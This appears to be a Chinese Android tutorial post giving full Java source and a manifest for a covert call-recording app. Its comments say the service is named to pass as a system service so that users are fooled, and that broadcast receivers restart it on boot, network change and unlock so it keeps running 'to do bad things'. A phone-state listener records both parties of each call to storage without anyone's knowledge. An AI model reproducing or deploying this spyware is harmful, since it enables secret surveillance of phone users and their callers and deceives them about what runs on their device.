MainActivity
public class MainActivity extends ListActivity { private BatteryChangedReceiver receiver; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); List<String> mData = new ArrayList<String>(Arrays.asList("开启服务", "停止服务", "判断服务是否正在运行", "动态注册电量变化的广播接收者", "取消注册")); ListAdapter mAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, mData); setListAdapter(mAdapter); receiver = new BatteryChangedReceiver(); } @Override protected void onListItemClick(ListView l, View v, int position, long id) { switch (position) { case 0: startService(new Intent(this, SystemService.class)); break; case 1: stopService(new Intent(this, SystemService.class)); break; case 2: Toast.makeText(this, "服务是否在运行:" + isServiceWorked(this, "com.android.service.SystemService"), Toast.LENGTH_SHORT).show(); break; case 3://电池的状态改变广播ACTION_BATTERY_CHANGED只有通过动态方式注册后才能获得。sticky:粘性的; 热湿的,闷热的; 极不愉快的; 不动的; IntentFilter filter = new IntentFilter(); filter.addAction(Intent.ACTION_BATTERY_CHANGED);//This is a sticky broadcast containing the charging state, level, and other information about the battery. filter.addAction(Intent.ACTION_BATTERY_LOW);//Indicates low battery condition on the device. This broadcast corresponds to the "Low battery warning" system dialog. filter.addAction(Intent.ACTION_BATTERY_OKAY);//This will be sent after ACTION_BATTERY_LOW once the battery has gone back up to an okay state. registerReceiver(receiver, filter); break; case 4: unregisterReceiver(receiver); receiver = null; break; } } public static boolean isServiceWorked(Context context, String serviceName) { ActivityManager myManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); ArrayList<RunningServiceInfo> runningService = (ArrayList<RunningServiceInfo>) myManager.getRunningServices(Integer.MAX_VALUE); for (int i = 0; i < runningService.size(); i++) { if (runningService.get(i).service.getClassName().toString().equals(serviceName)) { return true; } } return false; } }
SuperReceiver
/** 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事*/ public class SuperReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { context.startService(new Intent(context, SystemService.class)); Log.i("bqt", intent.getAction()); } }
电量改变的Receiver
public class BatteryChangedReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_CHANGED)) {//"android.intent.action.BATTERY_CHANGED" Log.i("battery", "==============电池电量改变:BATTERY_CHANGED_ACTION"); Log.i("battery", "当前电压=" + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1)); Log.i("battery", "健康状态=" + intent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1));//如BATTERY_HEALTH_COLD Log.i("battery", "电量最大值=" + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1)); Log.i("battery", "当前电量=" + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1)); Log.i("battery", "充电电源类型=" + intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1)); Log.i("battery", "充电状态=" + intent.getIntExtra(BatteryManager.EXTRA_STATUS, -1));//如BATTERY_STATUS_CHARGING 正在充电 Log.i("battery", "电池类型=" + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY));//比如,对于锂电池是Li-ion Log.i("battery", "电池温度=" + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1)); } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_LOW)) {// "android.intent.action.BATTERY_LOW" Log.i("battery", "电池电量低:ACTION_BATTERY_LOW"); } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_OKAY)) {// "android.intent.action.BATTERY_OKAY" Log.i("battery", "电池已经从电量低恢复为正常:ACTION_BATTERY_OKAY"); } } }
Service
/**为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。 * 为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务呢! */ public class SystemService extends Service { private PhoneStateListener listener; @Override public IBinder onBind(Intent intent) { return null; } @Override public void onCreate() { listener = new MyPhoneStateListener(); ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_CALL_STATE); Log.i("bqt", "++++++onCreate-1"); super.onCreate(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { Log.i("bqt", "++++++onStartCommand-1"); return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建 /**1、START_STICKY:进程被kill后,将保留在开始状态,但是不保留那些传入的intent。不久后service就会再次尝试重新创建, 因为保留在开始状态,在创建service后将保证调用onstartCommand。如果没有传递任何开始命令给service,那将获取到null的intent。 2、START_NOT_STICKY:进程被kill后,并且没有新的intent传递给它,Service将移出开始状态,并且直到有新的startService调用才重新创建。 因为如果没有传递任何未决定的intent那么service是不会启动,也就是期间onstartCommand不会接收到任何null的intent。 3、START_REDELIVER_INTENT:进程被kill后,系统会再次启动service,并传入最后一个intent给onstartCommand.直到调用stopSelf才停止传递intent。 如果在被kill后还有未处理好的intent,那被kill后服务还是会自动启动。因此onstartCommand不会接收到任何null的intent。*/ } @Override public void onDestroy() { //在onDestroy中再启动本服务(张泽华老师说不可以启动自己,实测是可以的!),但是用户杀进程时不会调用onDestroy方法。 //startService(new Intent(this, SystemService.class)); // 取消电话的监听 ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; Log.i("bqt", "++++++onDestroy-1"); super.onDestroy(); } }
电话状态监听
public class MyPhoneStateListener extends PhoneStateListener { private String phoneNumber; // 来电号码 public static final String filePath = Environment.getExternalStorageDirectory().getPath() + "/bqt_callRecords"; private File directory, file; private MediaRecorder mediaRecorder; @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_RINGING://响铃状态 phoneNumber = incomingNumber;//只有这里能拿到来电号码,在CALL_STATE_OFFHOOK状态是拿不到来电号码的 break; case TelephonyManager.CALL_STATE_OFFHOOK://通话状态 mediaRecorder = new MediaRecorder(); if (this.phoneNumber == null) this.phoneNumber = "null_"; directory = new File(filePath); if (!directory.exists()) directory.mkdir(); file = new File(filePath + File.separator + phoneNumber + new SimpleDateFormat("yyyyMMdd_HHmmss‘.amr‘", Locale.getDefault()).format(new Date())); if (!file.exists()) file.createNewFile(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);//指定录音机的声音源 //MIC只获取自己说话的声音;VOICE_CALL双方的声音都可以录取,但是由于外国法律的限制,某些大牌手机不支持此参数 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//设置录制文件的输出格式,如AMR-NB,MPEG-4等 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//设置音频的编码,如AAC,AMR-NB等 mediaRecorder.setOutputFile(file.getAbsolutePath());//存储路径 mediaRecorder.prepare();//准备,一定要放在设置后、开始前,否则会产生异常 mediaRecorder.start(); Log.i("bqt", "开始录音!"); break; case TelephonyManager.CALL_STATE_IDLE://空闲状态 if (mediaRecorder != null) { //释放资源 mediaRecorder.stop(); //mediaRecorder.reset(); //重设 mediaRecorder.release(); mediaRecorder = null; } Log.i("bqt", "结束录音!"); break; } } catch (Exception e) { } } }
清单文件
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.service" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <!-- 访问电话状态 --> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 允许程序监视、修改或放弃拨打电话 --> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <!-- 挂载、反挂载外部文件系统 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- 录音权限 --> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".SuperReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> <action android:name="android.net.wifi.WIFI_STATE_CHANGED" /> <!-- 唤醒机器、解锁时发出,屏幕SCREEN_ON和SCREEN_OFF的广播只能通过代码动态的形式注册 --> <action android:name="android.intent.action.USER_PRESENT" /> </intent-filter> </receiver> <service android:name=".SystemService" android:process=":process1" /> </application> </manifest>
附件列表
时间: 2024-10-15 14:39:21